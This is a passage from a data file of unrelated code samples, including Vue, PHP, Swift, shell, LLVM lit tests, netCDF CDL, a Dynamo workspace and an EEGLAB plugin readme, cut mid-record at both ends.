1066.50 230.99 1153.47 252.63 1.5488149527280044 1.7518429153324508 4.866465585433044 -1000 -1000 -1000 2.241395236549786 0.96418566\nDontCare -1 -1 0.7175384322789053 833.65 192.18 1048.71 235.81 1.3322106752364349 1.6158497196347856 4.110586123667755 -1000 -1000 -1000 1.5029365956763536 0.9256009\nDontCare -1 -1 0.585618213811193 758.61 175.36 899.92 191.18 1.3961049023835372 1.7042739161015892 4.077412562571563 -1000 -1000 -1000 1.3710163772086412 0.93508697\nDontCare -1 -1 1.2530028680947165 671.93 172.77 713.62 200.23 1.483567528781147 1.6568816576810026 4.109776036940612 -1000 -1000 -1000 2.038401031492165 0.9959584\nDontCare -1 -1 2.236477688946996 544.49 174.06 619.17 185.35 1.4519826549856376 1.6512268076376462 3.854066065173694 -1000 -1000 -1000 3.0218758523444444 0.9524154\nDontCare -1 -1 0.9622848788884024 645.40 174.71 661.87 184.06 1.5139108317723882 1.644468931966036 3.74452602317194 -1000 -1000 -1000 1.7476830422858507 0.9114326\n"} {"text": "import styled from 'styled-components'\n\n// import { cs } from '@/utils'\nimport { WrapperBase, ScrollWrapperBase, ShadowBarBase } from './index'\nimport { getShadowBackground, getShadowSize, getScrollbarThin } from './metrics'\n\nexport const Wrapper = styled(WrapperBase)`\n position: relative;\n\n .os-host:not(:hover) {\n visibility: ${({ showOnHover }) => (showOnHover ? 'hidden' : 'inherit')};\n }\n\n .os-theme-dark > .os-scrollbar-vertical,\n .os-theme-light > .os-scrollbar-vertical {\n width: ${({ barSize }) =>\n `${getScrollbarThin(barSize, 'vertical')} !important`};\n }\n`\nexport const ScrollWrapper = styled(ScrollWrapperBase)``\nconst ShadowBar = styled(ShadowBarBase)`\n left: 0px;\n height: ${({ shadowSize }) => getShadowSize(shadowSize)};\n width: 100%;\n background: ${({ shadowSize }) =>\n getShadowBackground(shadowSize, 'vertical')};\n border-top: ${({ withBorder }) => (withBorder ? '1px solid' : 'none')};\n border-color: ${({ withBorder }) => (withBorder ? '#084255' : 'none')};\n`\nexport const TopShadowBar = styled(ShadowBar)`\n top: 0;\n z-index: 2;\n`\nexport const BottomShadowBar = styled(ShadowBar)`\n bottom: 0;\n transform: rotate(180deg);\n`\n"} {"text": "<template>\n <div class=\"app-container\">\n <div class=\"block\">\n <el-row :gutter=\"20\">\n <el-col :span=\"6\">\n <el-input v-model=\"listQuery.name\" size=\"mini\" placeholder=\"请输入角色名称\"></el-input>\n </el-col>\n <el-col :span=\"6\">\n <el-button type=\"success\" size=\"mini\" icon=\"el-icon-search\" @click.native=\"search\">{{ $t('button.search') }}</el-button>\n <el-button type=\"primary\" size=\"mini\" icon=\"el-icon-refresh\" @click.native=\"reset\">{{ $t('button.reset') }}</el-button>\n </el-col>\n </el-row>\n <br>\n <el-row>\n <el-col :span=\"24\">\n <el-button type=\"success\" size=\"mini\" icon=\"el-icon-plus\" @click.native=\"add\">{{ $t('button.add') }}</el-button>\n <el-button type=\"primary\" size=\"mini\" icon=\"el-icon-edit\" @click.native=\"edit\">{{ $t('button.edit') }}</el-button>\n <el-button type=\"danger\" size=\"mini\" icon=\"el-icon-delete\" @click.native=\"remove\">{{ $t('button.delete') }}</el-button>\n <el-button type=\"primary\" size=\"mini\" icon=\"el-icon-setting\" @click.native=\"openPermissions\">权限配置</el-button>\n </el-col>\n </el-row>\n </div>\n\n\n <el-table :data=\"list\" v-loading=\"listLoading\" element-loading-text=\"Loading\" border fit highlight-current-row\n @current-change=\"handleCurrentChange\">\n\n <el-table-column label=\"名称\">\n <template slot-scope=\"scope\">\n {{scope.row.name}}\n </template>\n </el-table-column>\n <el-table-column label=\"编码\">\n <template slot-scope=\"scope\">\n {{scope.row.tips}}\n </template>\n </el-table-column>\n <el-table-column label=\"所在部门\">\n <template slot-scope=\"scope\">\n {{scope.row.deptName}}\n </template>\n </el-table-column>\n <el-table-column label=\"上级角色\">\n <template slot-scope=\"scope\">\n {{scope.row.pName}}\n </template>\n </el-table-column>\n\n </el-table>\n\n\n <el-pagination\n background\n layout=\"total, sizes, prev, pager, next, jumper\"\n :page-sizes=\"[10, 20, 50, 100,500]\"\n :page-size=\"listQuery.limit\"\n :total=\"total\"\n :current-page.sync=\"listQuery.page\"\n @size-change=\"changeSize\"\n @current-change=\"fetchPage\"\n @prev-click=\"fetchPrev\"\n @next-click=\"fetchNext\">\n </el-pagination>\n\n <el-dialog\n :title=\"formTitle\"\n :visible.sync=\"formVisible\"\n width=\"70%\">\n <el-form ref=\"form\" :model=\"form\" :rules=\"rules\" label-width=\"80px\">\n <el-row>\n <el-col :span=\"12\">\n <el-form-item label=\"编码\" prop=\"tips\">\n <el-input v-model=\"form.tips\" minlength=1></el-input>\n </el-form-item>\n </el-col>\n <el-col :span=\"12\">\n <el-form-item label=\"名称\" prop=\"name\">\n <el-input v-model=\"form.name\" minlength=1></el-input>\n </el-form-item>\n </el-col>\n\n <el-col :span=\"12\">\n <el-form-item label=\"上级角色\">\n <el-input\n placeholder=\"请选择上级角色\"\n v-model=\"form.pName\"\n readonly=\"readonly\"\n @click.native=\"roleTree.show = !roleTree.show\">\n </el-input>\n <el-tree v-if=\"roleTree.show\"\n empty-text=\"暂无数据\"\n :expand-on-click-node=\"false\"\n :data=\"list\"\n :props=\"roleTree.defaultProps\"\n @node-click=\"handleRoleNodeClick\"\n class=\"input-tree\">\n </el-tree>\n\n </el-form-item>\n </el-col>\n <el-col :span=\"12\">\n <el-form-item label=\"排序\">\n <el-input v-model=\"form.num\" type=\"number\"></el-input>\n </el-form-item>\n </el-col>\n\n <el-col :span=\"12\">\n <el-form-item label=\"所在部门\">\n <el-input\n placeholder=\"请选择所在部门\"\n v-model=\"form.deptName\"\n readonly=\"readonly\"\n @click.native=\"deptTree.show = !deptTree.show\">\n </el-input>\n <el-tree v-if=\"deptTree.show\"\n empty-text=\"暂无数据\"\n :expand-on-click-node=\"false\"\n :data=\"deptList\"\n :props=\"deptTree.defaultProps\"\n @node-click=\"handleDeptNodeClick\"\n class=\"input-tree\">\n </el-tree>\n\n </el-form-item>\n </el-col>\n\n\n </el-row>\n <el-form-item>\n <el-button type=\"primary\" @click=\"save\">{{ $t('button.submit') }}</el-button>\n <el-button @click.native=\"formVisible = false\">{{ $t('button.cancel') }}</el-button>\n </el-form-item>\n </el-form>\n </el-dialog>\n\n\n <el-dialog\n title=\"权限配置\"\n :visible.sync=\"permissonVisible\"\n width=\"25%\">\n <el-form>\n <el-row>\n <el-col :span=\"12\">\n <el-tree\n :data=\"permissons\"\n ref=\"permissonTree\"\n show-checkbox\n node-key=\"id\"\n :default-checked-keys=\"checkedPermissionKeys\"\n :props=\"defaultProps\">\n </el-tree>\n\n </el-col>\n </el-row>\n <el-form-item>\n <el-button type=\"primary\" @click=\"savePermissions\">{{ $t('button.submit') }}</el-button>\n </el-form-item>\n </el-form>\n </el-dialog>\n\n </div>\n</template>\n\n<script src=\"./role.js\"></script>\n<style rel=\"stylesheet/scss\" lang=\"scss\" scoped>\n @import \"src/styles/common.scss\";\n</style>\n"} {"text": "sp_before_semi = ignore\n"} {"text": "<?php\n\nnamespace OCDI;\n\nclass DownloaderTest extends \\WP_UnitTestCase {\n\t/**\n\t * Class setup.\n\t */\n\tfunction setUp() {\n\t\tparent::setUp();\n\n\t\t// Downloader with the default WP uploads directory.\n\t\t$this->downloader = new Downloader();\n\n\t\t// Default download path.\n\t\t$upload_dir = wp_upload_dir();\n\t\t$this->default_path = trailingslashit( $upload_dir['path'] );\n\t}\n\n\t/**\n\t * Testing the get_download_directory_path method.\n\t */\n\tfunction test_get_download_directory_path() {\n\t\t// Test default path (no argument when initializing Downloader class).\n\t\t$this->assertEquals( $this->default_path, $this->downloader->get_download_directory_path() );\n\n\t\t// Test invalid path.\n\t\t$downloader2 = new Downloader( 'test' );\n\t\t$this->assertEquals( $this->default_path, $downloader2->get_download_directory_path() );\n\n\t\t// Test a valid path.\n\t\t$path = plugin_dir_path( __FILE__ );\n\t\t$downloader3 = new Downloader( $path );\n\t\t$this->assertEquals( $path, $downloader3->get_download_directory_path() );\n\t}\n\n\t/**\n\t * Testing the set_download_directory_path method.\n\t */\n\tfunction test_set_download_directory_path() {\n\t\t// Test empty path.\n\t\t$downloader1 = new Downloader( '' );\n\t\t$downloader1->set_download_directory_path( '' );\n\t\t$this->assertEquals( $this->default_path, $downloader1->get_download_directory_path() );\n\n\t\t// Test invalid path.\n\t\t$downloader1->set_download_directory_path( 'test' );\n\t\t$this->assertEquals( $this->default_path, $downloader1->get_download_directory_path() );\n\n\t\t// Test a valid path.\n\t\t$path = plugin_dir_path( __FILE__ );\n\t\t$downloader1->set_download_directory_path( $path );\n\t\t$this->assertEquals( $path, $downloader1->get_download_directory_path() );\n\t}\n\n\t/**\n\t * Testing the get_error_from_response method.\n\t * Private function.\n\t */\n\tfunction test_get_error_from_response() {\n\t\t$expected = array(\n\t\t\t'error_code' => 'test_error',\n\t\t\t'error_message' => 'Error test',\n\t\t);\n\n\t\t// Test response with array.\n\t\t$method_response = \\TestHelpers::invoke_method(\n\t\t\t$this->downloader,\n\t\t\t'get_error_from_response',\n\t\t\tarray(\n\t\t\t\tarray(\n\t\t\t\t\t'response' => array(\n\t\t\t\t\t\t'code' => 'test_error',\n\t\t\t\t\t\t'message' => 'Error test',\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t)\n\t\t);\n\t\t$this->assertEquals( $expected, $method_response );\n\n\t\t// Test response with WP_error object.\n\t\t$method_response = \\TestHelpers::invoke_method(\n\t\t\t$this->downloader,\n\t\t\t'get_error_from_response',\n\t\t\tarray(\n\t\t\t\tnew \\WP_Error(\n\t\t\t\t\t'test_error',\n\t\t\t\t\t'Error test'\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\t\t$this->assertEquals( $expected, $method_response );\n\t}\n\n\t/**\n\t * Testing the get_content_from_url method.\n\t * Private function.\n\t */\n\tfunction test_get_content_from_url() {\n\t\t// Empty URL parameter.\n\t\t$expected_code = 'missing_url';\n\t\t$method_response = \\TestHelpers::invoke_method(\n\t\t\t$this->downloader,\n\t\t\t'get_content_from_url',\n\t\t\tarray(\n\t\t\t\t''\n\t\t\t)\n\t\t);\n\n\t\t$this->assertTrue( is_wp_error( $method_response ) );\n\t\t$this->assertEquals( $expected_code, $method_response->get_error_code() );\n\n\t\t// Invalid URL parameter.\n\t\t$expected_code = 'download_error';\n\t\t$method_response = \\TestHelpers::invoke_method(\n\t\t\t$this->downloader,\n\t\t\t'get_content_from_url',\n\t\t\tarray(\n\t\t\t\t'http://invalid-url.com'\n\t\t\t)\n\t\t);\n\n\t\t$this->assertTrue( is_wp_error( $method_response ) );\n\t\t$this->assertEquals( $expected_code, $method_response->get_error_code() );\n\n\t\t// Valid URL parameter - a test file with the content of \"test\".\n\t\t$expected = 'test';\n\t\t$method_response = \\TestHelpers::invoke_method(\n\t\t\t$this->downloader,\n\t\t\t'get_content_from_url',\n\t\t\tarray(\n\t\t\t\t'https://raw.githubusercontent.com/proteusthemes/one-click-demo-import/aa2fbfccbc3331ac46e64ebba33c4cf58b1c39a8/tests/data/test-files/test.txt'\n\t\t\t)\n\t\t);\n\n\t\t$this->assertEquals( $expected, $method_response );\n\t}\n\n\t/**\n\t * Testing the download_file method.\n\t */\n\tfunction test_download_file() {\n\t\t$expected = $this->default_path . 'test.txt';\n\t\t$file = $this->downloader->download_file( 'https://raw.githubusercontent.com/proteusthemes/one-click-demo-import/aa2fbfccbc3331ac46e64ebba33c4cf58b1c39a8/tests/data/test-files/test.txt', 'test.txt' );\n\n\t\t$this->assertEquals( $expected, $file );\n\t\t$this->assertTrue( file_exists( $file ) );\n\n\t\t// Delete the downloaded file.\n\t\tunlink( $file );\n\t}\n}\n"} {"text": "## Test extract operation.\n# XFAIL: system-darwin\n\nRUN: rm -rf %t && mkdir -p %t/extracted/\n\n# Extracting from an empty archive should not warn or error:\nRUN: llvm-ar cr %t/empty.a\nRUN: llvm-ar x %t/empty.a 2>&1 | count 0\n\nRUN: echo filea > %t/a.txt\nRUN: echo fileb > %t/b.txt\nRUN: llvm-ar rc %t/archive.a %t/a.txt %t/b.txt\n\n# Single member:\nRUN: cd %t/extracted && llvm-ar x %t/archive.a a.txt\nRUN: diff %t/a.txt %t/extracted/a.txt \n\n# All members:\nRUN: rm %t/extracted/a.txt\nRUN: cd %t/extracted && llvm-ar x %t/archive.a\nRUN: diff %t/a.txt %t/extracted/a.txt \nRUN: diff %t/b.txt %t/extracted/b.txt \n"} {"text": "<div class=\"bg-white overflow-hidden shadow rounded-lg\">\n <div class=\"px-4 py-5 sm:p-6\">\n <div class=\"flex items-center\">\n <div class=\"w-0 flex-1\">\n <dl>\n <dt class=\"text-sm leading-5 font-medium text-gray-500 truncate\">\n <?= $label ?>\n </dt>\n <dd class=\"flex items-baseline\">\n <div class=\"text-2xl leading-8 font-semibold text-gray-900\">\n <?=Num::format($total, 0)?>\n </div>\n <? if (Num::percent_change($total, $total_past) < 0) : ?>\n <div class=\"ml-2 flex items-baseline text-sm leading-5 font-semibold text-red-600\">\n <svg class=\"self-center flex-shrink-0 h-5 w-5 text-red-500\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fill-rule=\"evenodd\" d=\"M14.707 10.293a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0l-4-4a1 1 0 111.414-1.414L9 12.586V5a1 1 0 012 0v7.586l2.293-2.293a1 1 0 011.414 0z\" clip-rule=\"evenodd\"/>\n </svg>\n <span class=\"sr-only\">\n <?= __('Decreased by') ?>\n </span>\n <?=Num::percent_change($total, $total_past)?>\n </div>\n <? else : ?>\n <div class=\"ml-2 flex items-baseline text-sm leading-5 font-semibold text-green-600\">\n <svg class=\"self-center flex-shrink-0 h-5 w-5 text-green-500\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fill-rule=\"evenodd\" d=\"M5.293 9.707a1 1 0 010-1.414l4-4a1 1 0 011.414 0l4 4a1 1 0 01-1.414 1.414L11 7.414V15a1 1 0 11-2 0V7.414L6.707 9.707a1 1 0 01-1.414 0z\" clip-rule=\"evenodd\"/>\n </svg>\n <span class=\"sr-only\">\n <?= __('Increased by') ?>\n </span>\n <?=Num::percent_change($total, $total_past)?>\n </div>\n <? endif ?>\n <div class=\"ml-2 flex items-baseline text-sm leading-5 font-semibold text-gray-500\">\n <?=sprintf(__('%s days ago'), $days_ago)?>\n </div>\n </dd>\n </dl>\n </div>\n </div>\n <div>\n <?=Chart::line($chart, $chart_config, $chart_colors)?>\n </div>\n </div>\n <div class=\"bg-gray-50 px-4 py-4 sm:px-6\">\n <div class=\"text-sm leading-5\">\n <a href=\"<?=Route::url('oc-panel', ['controller' => 'stats', 'action'=> $detail_action])?>?<?=http_build_query(['rel' => ''] + Request::current()->query())?>\" class=\"font-medium text-blue-600 hover:text-blue-500 transition ease-in-out duration-150\">\n View all\n </a>\n </div>\n </div>\n</div>\n"} {"text": "// This source file is part of the Swift.org open source project\n// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n// Licensed under Apache License v2.0 with Runtime Library Exception\n//\n// See https://swift.org/LICENSE.txt for license information\n// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors\n\n// RUN: not %target-swift-frontend %s -typecheck\n{}\n{\n({class j}}}if{{class\ncase,\n"} {"text": "<Workspace Version=\"0.7.5.3566\" X=\"30\" Y=\"377.07867494824\" zoom=\"1.32712215320911\" Description=\"Checks whether a given view is a rendering.\" Category=\"Clockwork.Revit.Views.View.Query\" Name=\"View.TypeIsRendering\" ID=\"b0447f47-0d5d-4013-923c-7f14abbd2118\">\n <Elements>\n <Dynamo.Nodes.Function type=\"Dynamo.Nodes.Function\" guid=\"e8f2edca-cf74-4cf1-aa9c-4058f9fd139e\" nickname=\"Turn Into List\" x=\"179\" y=\"26\" isVisible=\"true\" isUpstreamVisible=\"true\" lacing=\"Disabled\">\n <ID value=\"cd09ad33-8c34-4850-ac26-24448d92c38f\" />\n <Name value=\"Turn Into List\" />\n <Description value=\"Turns an element (or a nested list) into a flat list\" />\n <Inputs>\n <Input value=\"item\" />\n </Inputs>\n <Outputs>\n <Output value=\"\" />\n </Outputs>\n </Dynamo.Nodes.Function>\n <Dynamo.Nodes.Symbol type=\"Dynamo.Nodes.Symbol\" guid=\"4d7090a5-55aa-4d07-aa91-3d027092bbd0\" nickname=\"Input\" x=\"6.02808112324493\" y=\"-38.9921996879875\" isVisible=\"true\" isUpstreamVisible=\"true\" lacing=\"Disabled\">\n <Symbol value=\"View(s)\" />\n </Dynamo.Nodes.Symbol>\n <Dynamo.Nodes.Output type=\"Dynamo.Nodes.Output\" guid=\"3dd0e04f-7e66-43d9-ab0b-1f3af78e3288\" nickname=\"Output\" x=\"896.232449297972\" y=\"-37.6755070202808\" isVisible=\"true\" isUpstreamVisible=\"true\" lacing=\"Disabled\">\n <Symbol value=\"bool\" />\n </Dynamo.Nodes.Output>\n <DSIronPythonNode.PythonNode type=\"DSIronPythonNode.PythonNode\" guid=\"e530854e-1aeb-4010-90be-00759562b87d\" nickname=\"Python Script\" x=\"384\" y=\"26\" isVisible=\"true\" isUpstreamVisible=\"true\" lacing=\"Disabled\" inputcount=\"1\">\n <Script>import clr\nclr.AddReference('RevitAPI')\nfrom Autodesk.Revit.DB import *\n\nviews = UnwrapElement(IN[0])\nbooleans = list()\n\nfor view in views:\n\tif str(view.ViewType) == 'Rendering':\n\t\tbooleans.append(True)\n\telse:\n\t\tbooleans.append(False)\nOUT = booleans\t\t</Script>\n </DSIronPythonNode.PythonNode>\n <Dynamo.Nodes.Function type=\"Dynamo.Nodes.Function\" guid=\"8e4972d3-a5dd-4923-a5e5-e4b2d044e04b\" nickname=\"ReturnListOrSingleValue\" x=\"604.232449297972\" y=\"-37.6755070202808\" isVisible=\"true\" isUpstreamVisible=\"true\" lacing=\"Disabled\">\n <ID value=\"44ac4888-4aa4-49a9-9344-23b729c11df9\" />\n <Name value=\"ReturnListOrSingleValue\" />\n <Description value=\"If the item in input #1 is not a list, only the first item of the list in input #2 will be returned.\" />\n <Inputs>\n <Input value=\"item #1 (unknown)\" />\n <Input value=\"item #2 (list)\" />\n </Inputs>\n <Outputs>\n <Output value=\"\" />\n </Outputs>\n </Dynamo.Nodes.Function>\n </Elements>\n <Connectors>\n <Dynamo.Models.ConnectorModel start=\"e8f2edca-cf74-4cf1-aa9c-4058f9fd139e\" start_index=\"0\" end=\"e530854e-1aeb-4010-90be-00759562b87d\" end_index=\"0\" portType=\"0\" />\n <Dynamo.Models.ConnectorModel start=\"4d7090a5-55aa-4d07-aa91-3d027092bbd0\" start_index=\"0\" end=\"e8f2edca-cf74-4cf1-aa9c-4058f9fd139e\" end_index=\"0\" portType=\"0\" />\n <Dynamo.Models.ConnectorModel start=\"4d7090a5-55aa-4d07-aa91-3d027092bbd0\" start_index=\"0\" end=\"8e4972d3-a5dd-4923-a5e5-e4b2d044e04b\" end_index=\"0\" portType=\"0\" />\n <Dynamo.Models.ConnectorModel start=\"e530854e-1aeb-4010-90be-00759562b87d\" start_index=\"0\" end=\"8e4972d3-a5dd-4923-a5e5-e4b2d044e04b\" end_index=\"1\" portType=\"0\" />\n <Dynamo.Models.ConnectorModel start=\"8e4972d3-a5dd-4923-a5e5-e4b2d044e04b\" start_index=\"0\" end=\"3dd0e04f-7e66-43d9-ab0b-1f3af78e3288\" end_index=\"0\" portType=\"0\" />\n </Connectors>\n <Notes />\n</Workspace>"} {"text": "#!/bin/bash -e\n#\n# Compile and check with clang.\n#\n# Copyright (c) 2016 Red Hat Inc.\n#\n# Authors:\n# Fam Zheng <famz@redhat.com>\n#\n# This work is licensed under the terms of the GNU GPL, version 2\n# or (at your option) any later version. See the COPYING file in\n# the top-level directory.\n\n. common.rc\n\nrequires clang\n\ncd \"$BUILD_DIR\"\n\nOPTS=\"--cxx=clang++ --cc=clang --host-cc=clang\"\n# -fsanitize=undefined is broken on Fedora 23, skip it for now\n# See also: https://bugzilla.redhat.com/show_bug.cgi?id=1263834\n#OPTS=\"$OPTS --extra-cflags=-fsanitize=undefined \\\n #--extra-cflags=-fno-sanitize=float-divide-by-zero\"\nbuild_qemu $OPTS\ncheck_qemu\ninstall_qemu\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <component name=\"RunConfigurationProducerService\">\n <option name=\"ignoredProducers\">\n <set>\n <option value=\"org.jetbrains.plugins.gradle.execution.test.runner.AllInPackageGradleConfigurationProducer\" />\n <option value=\"org.jetbrains.plugins.gradle.execution.test.runner.TestClassGradleConfigurationProducer\" />\n <option value=\"org.jetbrains.plugins.gradle.execution.test.runner.TestMethodGradleConfigurationProducer\" />\n </set>\n </option>\n </component>\n</project>"} {"text": "<?php\n\nnamespace Illuminate\\Bus;\n\nuse Illuminate\\Support\\ServiceProvider;\nuse Illuminate\\Contracts\\Bus\\Dispatcher as DispatcherContract;\nuse Illuminate\\Contracts\\Queue\\Factory as QueueFactoryContract;\nuse Illuminate\\Contracts\\Bus\\QueueingDispatcher as QueueingDispatcherContract;\n\nclass BusServiceProvider extends ServiceProvider\n{\n /**\n * Indicates if loading of the provider is deferred.\n *\n * @var bool\n */\n protected $defer = true;\n\n /**\n * Register the service provider.\n *\n * @return void\n */\n public function register()\n {\n $this->app->singleton(Dispatcher::class, function ($app) {\n return new Dispatcher($app, function ($connection = null) use ($app) {\n return $app[QueueFactoryContract::class]->connection($connection);\n });\n });\n\n $this->app->alias(\n Dispatcher::class, DispatcherContract::class\n );\n\n $this->app->alias(\n Dispatcher::class, QueueingDispatcherContract::class\n );\n }\n\n /**\n * Get the services provided by the provider.\n *\n * @return array\n */\n public function provides()\n {\n return [\n Dispatcher::class,\n DispatcherContract::class,\n QueueingDispatcherContract::class,\n ];\n }\n}\n"} {"text": "netcdf tst_group_data {\ndimensions:\n\tdim = 4 ;\nvariables:\n\tfloat var(dim) ;\n\t\tvar:units = \"m/s\" ;\n\n// global attributes:\n\t\t:title = \"for testing groups\" ;\ndata:\n\n var = 1, 2, 3, 4 ;\n\ngroup: g1 {\n dimensions:\n \tdim = 1 ;\n variables:\n \tfloat var(dim) ;\n \t\tvar:units = \"km/hour\" ;\n\n // group attributes:\n \t\t:title = \"in first group\" ;\n data:\n\n var = 1 ;\n } // group g1\n\ngroup: g2 {\n dimensions:\n \tdim = 2 ;\n variables:\n \tfloat var(dim) ;\n \t\tvar:units = \"cm/sec\" ;\n\n // group attributes:\n \t\t:title = \"in second group\" ;\n data:\n\n var = 1, 2 ;\n\n group: g3 {\n dimensions:\n \tdim = 3 ;\n variables:\n \tfloat var(dim) ;\n \t\tvar:units = \"mm/msec\" ;\n \tfloat var2(/dim, /g2/dim, dim) ;\n\n // group attributes:\n \t\t:title = \"in third group\" ;\n data:\n\n var = 1, 2, 3 ;\n\n var2 =\n 1, 2, 3,\n 4, 5, 6,\n 7, 8, 9,\n 10, 11, 12,\n 13, 14, 15,\n 16, 17, 18,\n 19, 20, 21,\n 22, 23, 24 ;\n } // group g3\n } // group g2\n}\n"} {"text": "/*\nCopyright (c) 2018-2020 Uber Technologies, Inc.\n\nThis source code is licensed under the MIT license found in the\nLICENSE file in the root directory of this source tree.\n*/\n// @flow\n// BASEUI-GENERATED-FLAG-COMPONENT\n// DO NOT EDIT THIS FILE DIRECTLY\n\nimport * as React from 'react';\n\nexport default function FlagEE(props: mixed) {\n return (\n <img\n src=\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD8AAAAtBAMAAADrb658AAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAeUExURfz8/PT09BEREVKd5Vmk7RkZGUuV3iAgICQkJCYmJq3rrjoAAAEVSURBVDjL1YyxasQwDIblN7DfoASyHyR4Pmgf4DCYrIWA51tCbuzWZOuYvG1/yfElBxdfh6OlH7b0S/olestzpL83HKjKc6S6rqvXeo/q4YUfGGyeA7VtCMGGNlgrKtbWLt13khJdrpIJU15AaMWQ4xmGeZoGMI7jNM/DhIQ/Sxd5+qIhzwf1ec7UXy7959rYVqxh6Jvd9YYvdFsa4CUK6JzJ+8YnRHVrDU7k79E9MmwvOIal27KMnTtRWRZ4gEXhOJSxIc0XQpChE5FSuVCwIcszDP8CreTR+hE0iSaFSmmtAEf+BolLZGUMaWxIpbUx6BnkqHRUMBiZs9Q8jheuLgNDhA9KTjXvcEqGW9RV7RjMrxq+AYEyNRq9P9ddAAAAAElFTkSuQmCC\"\n alt=\"EE\"\n {...props}\n />\n );\n}\n"} {"text": "\t Wearable Sensing EEGLAB Extension 1.09\r\n\t --------------------------------------\r\n\r\nThe purpose of this plug-in is to allow EEGLAB to read the\r\n.CSV files produced by Wearable Sensing's DSI-Streamer software.\r\nThis will allow you to take advantage of EEGLAB's data processing\r\nfeatures to analyze the data you collect with Wearable Sensing's\r\ndry electrode systems.\r\n\r\nThis plugin works best with DSI-Streamer versions 0.6.x and forward.\r\nWe recommend you use the most recent version, which can be accessed\r\nfrom the Wearable Sensing website.\r\n\r\n\r\n\r\n\r\n\tFor more information on DSI-Streamer and other Wearable Sensing\r\n\tproducts, please visit our website: \r\n\r\n\thttp://www.wearablesensing.com/support.php\r\n\r\n\r\n\r\n\tFor more information on EEGLAB, please visit SCCN's website: \r\n\r\n\thttp://sccn.ucsd.edu/eeglab/\r\n\r\n\r\n\r\n\r\n\r\n\r\nVersion notes\r\n-------------\r\n\r\n1.00: Initial release\r\n\r\n1.01: \r\n\tBugfix: Sampling rate error\r\n\t -Sampling rate was not registering properly. Now, the files loaded\r\n\t into EEGLAB should have correct sampling rate and load EEG data correctly.\r\n\r\n1.02: \r\n\r\n\tNew Feature: Backwards compatibility\r\n\t -Previously, the plugin only worked with files generated by 0.7.x.\r\n\t Now, it works with 0.6.x \r\n\r\n1.03:\r\n\tBugfix: Corrected DSI-7 Loading\r\n\t -Occasionally, DSI-7 would not load into EEGLAB. \r\n\t This has been resolved.\r\n\r\n1.04:\r\n\tBugfix: Reference Channel now properly loads.\r\n\t -Previous versions of this extension did not actually\r\n\t include the reference channel. It should correctly load now.\r\n \r\n1.05:\r\n\tRevisions: Clarified Filter type (FIR), changed default value\r\n\t -Previous versions did not specify what type of filter was applied\r\n\t to the data when it is initially loaded, and had a value of 100 as\r\n\t default. After testing, we believe a default of 70 is better.\r\n\r\n\tBugfix: Lowpass Filter now works properly\r\n\t -Previously, the initial FIR filter was not actually being applied \r\n\t to the data. This has been corrected.\r\n\r\n1.06:\r\n\tRevision: Event names are now \"1\",\"2\", etc. instead of \"trigger 1\", \"trigger 2\"\r\n\t -This is preferred for ERPLAB integration.\t\r\n\t\r\n\tRevision: Minor documentation corrections\r\n\t -The help file now correctly indicates [70] as the recommended default lowpass.\r\n\r\n1.07:\r\n\tRevision: DSI-Streamer 0.7.31 has a function for including custom events..\r\n\t -As of this version of the DSI-Streamer plugin, the comments are not registered \r\n into EEGLAB, but at least this version no longer crashes. 1.08 should register them.\r\n\tBugfix: if Trigger is at a non-zero value in the first time index, Plugin should no longer crash.\r\n\r\n1.08:\r\n\tRevision: DSI-Streamer 0.7.34 should be able to load this version\r\n\tNew Feature: Tidied up code should make loading larger datafiles faster.\r\n\t\r\n1.09:\r\n\tImproved backwards compatability. \r\n\t\t-Functions in previous version could only be used in 2013 forward. This is no longer true.\r\n\t\t\r\n\r\n\r\n \r\n\r\n\r\nRequirements\r\n------------\r\n\r\nMATLAB, version 2008 or more recent\r\n\r\nMATLAB Signal processing toolbox\r\n\r\nEEGLAB version 12 or more recent\r\n(obtainable from the EEGLAB website)\r\n\r\n\r\n\r\nInstallation\r\n------------\r\n\r\n \r\n 1. In the EEG folders, find the following directory: /eeglab(VERSION)/plugins/ \r\n\t-(VERSION) above will be the EEGLAB version, such as 13_3_3\r\n\r\n 2. Extract the Wearable Sensing folder from the .zip file\r\n into that directory.\r\n\r\n 3. Run EEGLAB through MATLAB. \r\n\r\n\r\nIf done correctly, the \"From WearableSensing .CSVs\" option \r\nshould be visible in EEGLAB's File menu in the \r\n\"Import Data\" > \"Using EEGLAB functions and plugins\" subdirectories.\r\n\r\n\r\nFeatures\r\n--------\r\n\r\n-Imports Event Triggers from the CSV files\r\n-Specify channels, time ranges to import\r\n-Lowpass filter on import (recommended at 100 Hz, or lower)\r\n\r\n\r\nProblems? Requests?\r\n-------------------\r\n\r\nIf you encounter any bugs or would like to request any features, \r\nplease contact:\r\n\r\nsteven@wearablesensing.com\r\n\r\n\r\n\r\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist 